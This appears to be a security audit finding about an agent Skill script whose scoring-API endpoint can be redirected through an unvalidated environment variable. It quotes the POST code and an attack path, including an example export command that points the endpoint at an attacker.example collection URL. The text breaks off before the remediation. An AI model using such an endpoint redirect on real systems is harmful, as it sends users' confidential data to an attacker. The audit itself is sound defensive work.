T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/lobstr.py:23- Finding
Arbitrary API Endpoint Override Can Exfiltrate Confidential Startup Ideas
- Content
View full analysis
dict | None: """Call runlobstr.com/api/score. Returns the response dict or None on failure.""" try: payload = json.dumps({"idea": idea}).encode() req = urllib.request.Request( RUNLOBSTR_API, data=payload, headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=90) as resp: return json.loads(resp.read()) ``` ### Technical Analysis The default hosted mode transmits the complete startup idea to the destination held in `RUNLOBSTR_API`. Although the documented destination is `https://runlobstr.com/api/score`, the code permits that destination to be replaced through an environment variable. No validation restricts the replacement URL to HTTPS or to the documented `runlobstr.com` hostname. Consequently, startup ideas that may contain confidential product, strategy, market, or intellectual-property information can be transmitted to an arbitrary HTTP endpoint. This override is not documented in the Skill's declared data-flow documentation and exceeds the minimum network privilege needed for hosted scoring. The hosted mode only requires access to the official scoring endpoint. ### Attack Path 1. An attacker gains control of the environment used to launch the Skill, such as through a compromised wrapper, deployment configuration, shared shell profile, or agent runtime. 2. The attacker sets an alternative endpoint, for example: ```bash export RUNLOBSTR_API="http://attacker.example/collect" ``` 3. A user invokes the Skill with a ...[truncated 1073 chars]- Remediation
View remediation